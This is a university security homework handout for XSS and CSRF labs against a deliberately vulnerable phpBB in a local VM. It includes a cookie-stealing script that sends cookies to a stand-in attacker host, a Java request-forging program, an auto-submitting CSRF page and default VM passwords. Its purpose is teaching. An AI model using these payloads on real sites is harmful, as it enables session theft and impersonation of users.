Homework 1: Web Security

1 Introduction

In this homework you will learn and conduct XSS attacks and CSRF attacks. You will use a Ubuntu VMware image, which can be downloaded here it is: `http://faculty.cse.tamu.edu/guofei/download/ubuntu9VM-1.1.tar.gz`). This image has an operating system of Ubuntu 9.04 with the Linux kernel v2.6.28, which is enough to this homework. We have created two accounts in the VM. The usernames and passwords are listed in the following:

- User ID: root, Password: seedubuntu
- User ID: seed, Password: dees

For better conducting the lab, you are recommended to have the following knowledge (most of them can be found in the reference):

- How to use the virtual machine, Firefox web browser, and the `LiveHttpHeaders` extension [5].
- Basics of JavaScript, document object model (DOM), HTML, and `XMLHttpRequest` object [1–4, 7].
- How to use the C program that listens on a port.
- How to write a java program to send a HTTP message post.
- How to access the source code for the web applications.

2 Cross-Site Scripting (XSS) Attack

2.1 Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based message board using `phpBB`. We modified the software to introduce an XSS vulnerability in this message board; this vulnerability allows users to post any arbitrary message to the board, including JavaScript programs. Students need to exploit this vulnerability by posting some malicious messages to the message board; users who view these malicious messages will become victims. The attackers' goal is to post forged messages for the victims.

2.2 Lab Environment

In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the `phpBB` message board web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The pre-built `Ubuntu` VM image provided to you has already installed the Firefox web browser with the required extensions.

The apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

```
% sudo apache2ctl start
or
% sudo service apache2 start
```

The `phpBB` web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts in the `phpBB` server. The password information can be obtained from the posts on the front page. You can access the `phpBB` server using the following URL (the apache server needs to be started first):

```
http://www.xsslabphpbb.com
```

This URL is only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain name (`www.xsslabphpbb.com`) to the virtual machine's local IP address (`127.0.0.1`). You may map any domain name to a particular IP address using the `/etc/hosts`. For example you can map `http://www.example.com` to the local IP address by appending the following entry to `/etc/hosts` file:

```
127.0.0.1       www.example.com
```

Therefore, if your web server and browser are running on two different machines, you need to modify the `/etc/hosts` file on the browser's machine accordingly to map `www.xsslabphpbb.com` to the web server's IP address.

In the pre-built VM image, we use the same apache web server to host several different URLs (some URLs are used by other labs). The apache web server will not be confused. It is configured to map each of the URL to a particular directory under `/var/www/`. You may modify the web application by accessing the source in the mentioned directories. For example, the server-side code for the `http://www.xsslabphpbb.com` URL is stored in the following directory:

```
/var/www/XSS/XSSLabPhpbb/
```

Other software. Some of the lab tasks require some basic familiarity with JavaScript. Wherever necessary, we may provide a sample JavaScript program to help the students get started. To complete task 3, students may need a utility to watch incoming requests on a particular TCP port. We provide a C program that can be configured to listen on a particular port and display incoming messages. The C program for this lab is available at `http://courses.cs.tamu.edu/guofei/csce665/echoserv.tar`.

2.3 Lab Tasks

2.3.1 Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to post a malicious message that contains JavaScript to display an alert window. The JavaScript should be provided along with the user comments in the message. The following JavaScript will display an alert window:

```
<script>alert('XSS');</script>
```

If you post this JavaScript along with your comments in the message board, then any user who views this comment will see the alert window.

2.3.2 Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to post a malicious message on the message board containing a JavaScript code, such that whenever a user views this message, the user's cookies will be printed out. For instance, consider the following message that contains a JavaScript code:

```
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
```

When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.

2.3.3 Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malcious JavaScript code can print out the user's cookies; in this task, the attacker wants the JavaScript code to send the cookies to the himself/herself. To achieve this, the malicious JavaScript code can send send a HTTP request to the attacker, with the cookies appended to the request. We can do this by having the malicious JavaScript insert a <img> tag with src set to the URL of the attackers destination. When the JavaScript inserts the img tag, the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attackers website. The JavaScript given below sends the cookies to the mentioned port 5555 on the attacker's machine. On the particular port, the attacker has a TCP server that simply prints out the request it receives. The TCP server program is available at http://courses.cs.tamu.edu/guofei/csce665/echoserv.tar.

```
Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:5555?c='
                            + document.cookie + '   >'); </script>
This script is to test XSS.  Thanks.
```

2.3.4 Task 4: Impersonating the Victim using the Stolen Cookies

After stealing the victim's cookies, the attacker can do whatever the victim can do to the phpBB web server, including posting a new message in the victim's name, delete the victim's post, etc. In this task, we will write a program to forge a message post on behalf of the victim.

To forge a message post, we should first analyze how phpBB works in terms of posting messages. More specifically, our goal is to figure out what are sent to the server when a user posts a message. Firefox's LiveHTTPHeaders extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the the parameters of the message. A screen shot of LiveHTTPHeaders is given in Figure1. The LiveHTTPHeaders extension can be downloaded from http://livehttpheaders.mozdev.org/, and it is already installed in the pre-built Ubuntu VM image.

Once we have understood what the HTTP request for message posting looks like, we can write a Java program to send out the same HTTP request. The phpBB server cannot distinguish whether the request is sent out by the user's browser or by the attacker's Java program. As long as we set all the parameters

```
http://www.xsslabphpbb.com/posting.php

POST /posting.php HTTP/1.1
Host: www.xsslabphpbb.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1
Cookie: phpbb2mysql_data=......;phpbb2mysql_sid=......
Content-Type: application/x-www-form-urlencoded
Content-Length: 376
subject=<Content of the message>



HTTP/1.x 200 OK
Date: Thu, 11 Jun 2009 19:43:15 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3
X-Powered-By: PHP/5.2.6-3ubuntu4.1
Set-Cookie: phpbb2mysql_data=XXXXXXXXXX; expires=Fri, GMT; path=/
Set-Cookie: phpbb2mysql_sid=YYYYYYYY; path=/
Set-Cookie: phpbb2mysql_t=XXXXXXXXXX; path=/
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3904
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
```

Figure 1: Screenshot of `LiveHTTPHeaders` Extension

correctly, the server will accept and process the message-posting HTTP request. To simplify your task, we provide you with a sample java program that does the following:

1. Opens a connection to web server.
2. Sets the necessary HTTP header information.
3. Sends the request to web server.
4. Gets the response from web server.

```
import java.io.*;
import java.net.*;

public class HTTPSimpleForge {

   public static void main(String[] args) throws IOException {
```

```
try {
     int responseCode;
     InputStream responseIn=null;

     // URL to be forged.
     URL url = new URL ("http://www.xsslabphpbb.com/profile.php");

     // URLConnection instance is created to further parameterize a
     // resource request past what the state members of URL instance
     // can represent.
     URLConnection urlConn = url.openConnection();
     if (urlConn instanceof HttpURLConnection) {
             urlConn.setConnectTimeout(60000);
             urlConn.setReadTimeout(90000);
     }

     // addRequestProperty method is used to add HTTP Header Information.
     // Here we add User-Agent HTTP header to the forged HTTP packet.
     urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

     //HTTP Post Data which includes the information to be sent to the server.
     String data="username=admin&seed=admin%40seed.com";

     // DoOutput flag of URL Connection should be set to true
     // to send HTTP POST message.
     urlConn.setDoOutput(true);

     // OutputStreamWriter is used to write the HTTP POST data
     // to the url connection.
     OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
     wr.write(data);
     wr.flush();

     // HttpURLConnection a subclass of URLConnection is returned by
     // url.openConnection() since the url  is an http request.
     if (urlConn instanceof HttpURLConnection) {
             HttpURLConnection httpConn = (HttpURLConnection) urlConn;

             // Contacts the web server and gets the status code from
             // HTTP Response message.
             responseCode = httpConn.getResponseCode();
             System.out.println("Response Code = " + responseCode);

             // HTTP status code HTTP_OK means the response was
             // received sucessfully.
             if (responseCode == HttpURLConnection.HTTP_OK) {

                     // Get the input stream from url connection object.
                     responseIn = urlConn.getInputStream();

                     // Create an instance for BufferedReader
                     // to read the response line by line.
                     BufferedReader buf_inp = new BufferedReader(
                                     new InputStreamReader(responseIn));
                     String inputLine;
                     while((inputLine = buf_inp.readLine())!=null) {
                             System.out.println(inputLine);
                     }
```

```
                }
            }
        } catch (MalformedURLException e) {
                e.printStackTrace();
        }
    }
}
```

If you have trouble understanding the above program, we suggest you to read the following:

- JDK 6 Documentation: `http://java.sun.com/javase/6/docs/api/`
- Java Protocol Handler:
  `http://java.sun.com/developer/onlineTraining/protocolhandlers/`

Limitation: The forged message post should be generated from the same virtual machine i.e. the victim (user connected to the web forum) and the attacker (one who generates a forged message post) should be on the same machine because `phpBB` uses IP address and the cookies for session management. If the attacker generates the forged message post from a different machine, the IP address of the forged packet and the victim's IP address would differ and hence the forged message post would be rejected by the `phpBB` server, despite the fact that the forged message carries the correct cookie information.

3 Cross-Site Request Forgery (CSRF) Attack

3.1 Overview

The objective of this lab is to help students understand cross-site-request forgery (CSRF or XSRF) attacks. A CSRF attack involves a victim user, a trusted site, and a malicious site. The victim user holds an active session with a trusted site and simultaneously visits a malicious site. The malicious site injects a HTTP request for the trusted site into the victim user session compromising its integrity.

In this lab, you will be attacking a web-based message board system using CSRF attacks. We modified an open-source message board application called `phpBB` to make it vulnerable to CSRF attacks. The original application has implemented several countermeasures for avoiding CSRF attacks.

3.2 Lab Environment

In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the `phpBB` message board web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The pre-built `Ubuntu` VM image provided to you has already installed the Firefox web browser with the required extensions.

The apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

```
% sudo apache2ctl start
or
% sudo service apache2 start
```

The `phpBB` web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts in the `phpBB` server. The password information can be obtained from the posts on

the front page. You can access the `phpBB` server (for this lab) using the following URLs (the apache server needs to be started first):

URL	Description	Directory
`http://www.csrflabattacker.com`	Attacker web site	/var/www/CSRF/Attacker/
`http://www.csrflabphpbb.com`	Vulnerable phpBB	/var/www/CSRF/CSRFLabPhpbb/
`http://www.originalphpbb.com`	Original phpBB	/var/www/OriginalPhpbb/

These URLs are only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain names of these URLs to the virtual machine's local IP address (`127.0.0.1`). Basically, we added the following three entries to the `/etc/hosts` file:

```
127.0.0.1     www.csrflabattacker.com
127.0.0.1     www.csrflabphpbb.com
127.0.0.1     www.originalphpbb.com
```

If your web server and browser are running on two different machines, you need to modify the `/etc/hosts` file on the browser's machine accordingly to map these URLs to the web server's IP address.

In the pre-built VM image, we use the same apache web server to host several different URLs (some URLs are used by other labs). The apache web server will not be confused. It is configured to map each of the URL to a particular directory under `/var/www/`. You may modify the web application by accessing the source in the mentioned directories. For example, the server-side code for `http://www.csrflabphpbb.com` is stored in the `/var/www/CSRF/CSRFLabPhpbb/` directory.

3.3 Background of CSRF Attacks

A CSRF attack always involved three actors: a trusted site, a victim user, and a malicious site. The victim user simultaneously visits the malicious site while holding an active session with the trusted site. The attack involves the following sequence of steps:

1. The victim user logs into the trusted site using his username and password, and thus creates a new session.
2. The trusted site stores the session identifier for the session in a cookie in the victim user's web browser.
3. The victim user visits a malicious site.
4. The malicious site's web page sends a request to the trusted site from the victim user's browser.
5. The web browser automatically attaches the session cookie to the malicious request because it is targeted for the trusted site.
6. The trusted site processes the malicious request forged by the attacker web site.

The malicious site can forge both HTTP GET and POST requests for the trusted site. Some HTML tags such as *img*, *iframe*, *frame*, and *form* have no restrictions on the URL that can be used in their attribute. HTML *img*, *iframe*, and *frame* can be used for forging GET requests. The HTML *form* tag can be used for forging POST requests. The tasks in this lab involve forging both GET and POST requests for a target application.

3.4 Lab Tasks

For the lab task, you will use two web sites that are locally setup in the virtual machine. The first web site is the vulnerable phpBB accessible at www.csrflabphpbb.com inside the virtual machine. The second web site is an attacker web site that the student would setup to attack the trusted site. The attacker web site is accessible via www.csrflabattacker.com inside the virtual machine.

3.4.1 Task 1: Attack using HTTP GET request

In the vulnerable phpBB, a new topic can be posted using a GET request targeted for the following URL:

```
http://www.csrflabphpbb.com/posting.php?mode=newtopic&f=1
```

The URL has two parameters, mode=newtopic and f=1. These parameters tell the server-side script posting.php that the request is intended to post a new message to forum 1.

To forge a request to post a new topic to the forum, the malicious site can use the URL in a HTML *img* tag inside a web page.

```
<html>
<img src="http://www.csrflabphpbb.com/posting.php?mode=newtopic&f=1">
</html>
```

Whenever the victim user visits the crafted web page in the malicious site, the web browser automatically issues a HTTP GET request for the URL contained in the *img* tag. Because the web browser automatically attaches the session cookie to the request, the trusted site cannot distinguish the malicious request from the genuine request and ends up processing the request compromising the victim user's session integrity.

For this task, you will observe the structure of a different request for posting a new message in the vulnerable phpBB application and then try to forge it from the malicious site. You can use the LiveHTTPHeaders extensions to observe the contents of the HTTP requests. You will see something similar to the following:

```
http://www.csrflabphpbb.com/posting.php?subject=hello&
addbbcode18=%23444444&addbbcode20=0&helpbox=Quote+text%3A+%5
Bquote%5Dtext%5B%2Fquote%5D++%28alt%2Bq%29&message=This+is+
my+message&topictype=0&poll_title=&add_poll_option_text=&
poll_length=&mode=newtopic&f=1&post=Submit
```

Observe the request structure for posting a new message to the forum and then use this to forge a new request to the application. When the victim user visits the malicious web page, a malicious request for posting a message should be injected into the victim's active session with phpBB.

3.4.2 Task 2: Attack in HTTP POST request

HTTP GET requests are typically used for requests that do not involve any side effects. The original phpBB does not use GET requests for posting a new message to the forum. We modified the source code of phpBB so that new messages can be posted using GET requests to facilitate task 1.

In this task, you will forge a POST request that modifies the profile information in phpBB - www.csrflabphpbb.com. In a HTTP POST request, the parameters for the request are provided in the HTTP message body. Forging HTTP POST request is slightly more difficult. A HTTP POST message for the trusted site can be generated using a *form* tag from the malicious site. Furthermore, we need a JavaScript program to automatically submit the form.

The server-side script profile.php allows users to modify their profile information using a POST request. You can observe the structure of the request, i.e the parameters of the request, by making some modifications to the profile and monitoring the request using LiveHTTPHeaders. You may expect to see something similar to the following:

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 473
username=admin&email=admin%40seed.com&cur_password=&new_password=&
password_confirm=&icq=&aim=&msn=&yim=&website=&location=&
occupation=&interests=&signature=I+am+good+guy&viewemail=1&
hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=0&
allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&
style=1&timezone=0&dateformat=d+M+Y+h%3Ai+a&mode=editprofile&
agreed=true&coppa=0&user_id=2&
current_email=admin%40seed.com&submit=Submit
```

Now, using the information you gathered from observing the request, you can construct a web page that posts the message. To help you write a JavaScript program to send a HTTP post request, we provide the following sample code. You can use this sample code provided in figure 2 to construct your malicious web site for the CSRF attacks.

3.4.3 Task 3: Understanding phpBB's Countermeasures

phpBB has implemented some countermeasures to defend against CSRF attacks. To allow the attacks in Task 1 work, we had to modify phpBB code to introduce the vulnerability. Originally, posting.php only takes POST request, not GET. However, from Task 2, we know that changing GET to POST will not prevent the CSRF attacks, it simply makes the attacks a little bit more difficult. PhpBB adopts another mechanism to counter the CSRF attacks. It includes the following information in the body of the request:

```
sid=b349b781ecbb2268c4caf77f530c55ac
```

This sid value is exactly the same as phpbb2mysql_sid in the cookie. The script in posting.php will check whether this sid value is the same as that in the cookie. If not, the request will fail.

In this task, you need to use the original phpBB forum accessible at http://www.originalphpbb.com, try the attacks again, and describe your observations. Can you bypass the countermeasures? If not, please describe why.

4 Submission

You need to submit a detailed homework report to describe what you have done and what you have observed, as well as any program you write in each task. Please provide details using LiveHTTPHeaders, Wireshark, and/or screenshots. You also need to provide explanation to the observations that are interesting or surprising.

References

[1] AJAX for n00bs. Available at the following URL:
http://www.hunlock.com/blogs/AJAX_for_n00bs.

[2] AJAX POST-It Notes. Available at the following URL:
http://www.hunlock.com/blogs/AJAX_POST-It_Notes.

[3] Essential Javascript – A Javascript Tutorial. Available at the following URL:
http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial.

```
<html><body><h1>
This page sends a HTTP POST request onload.
</h1>
<script>

function post(url,fields)
{
   //create a <form> element.
   var p = document.createElement('form');

   //construct the form
   p.action = url;
   p.innerHTML = fields;
   p.target = '_self';
   p.method = 'post';

   //append the form to this web.
   document.body.appendChild(p);

   //submit the form
   p.submit();
}

function csrf_hack()
{
   var fields;

   // You should replace the following 3 lines with your form parameters
   fields += "<input type='hidden' name='username' value='Alice'>";
   fields += "<input type='hidden' name='transfer' value='10000'>";
   fields += "<input type='hidden' name='to' value='Bot'>";
   // Note: don't add an element named 'submit' here;
   //       otherwise, p.submit() will not be invoked.
   //       'Submit' will work.
   post('http://www.example.com',fields);
}

window.onload = function(){csrf_hack();}
</script>
</body></html>
```

Figure 2: Sample JavaScript program

[4] The Complete Javascript Strings Reference. Available at the following URL:
http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference.

[5] The LiveHTTPHeaders firefox extension. Available at the following URL:
http://livehttpheaders.mozdev.org/.

[6] The Firebug Extension. Available at the following URL:
https://addons.mozilla.org/en-US/firefox/addon/1843.

[7] What is DOM. Available at the following URL:
https://developer.mozilla.org/en/Gecko_DOM_Reference/Introduction#What_is_the_DOM.3F.

[8] Same-origin policy by google document. Available at the following URL:
http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy.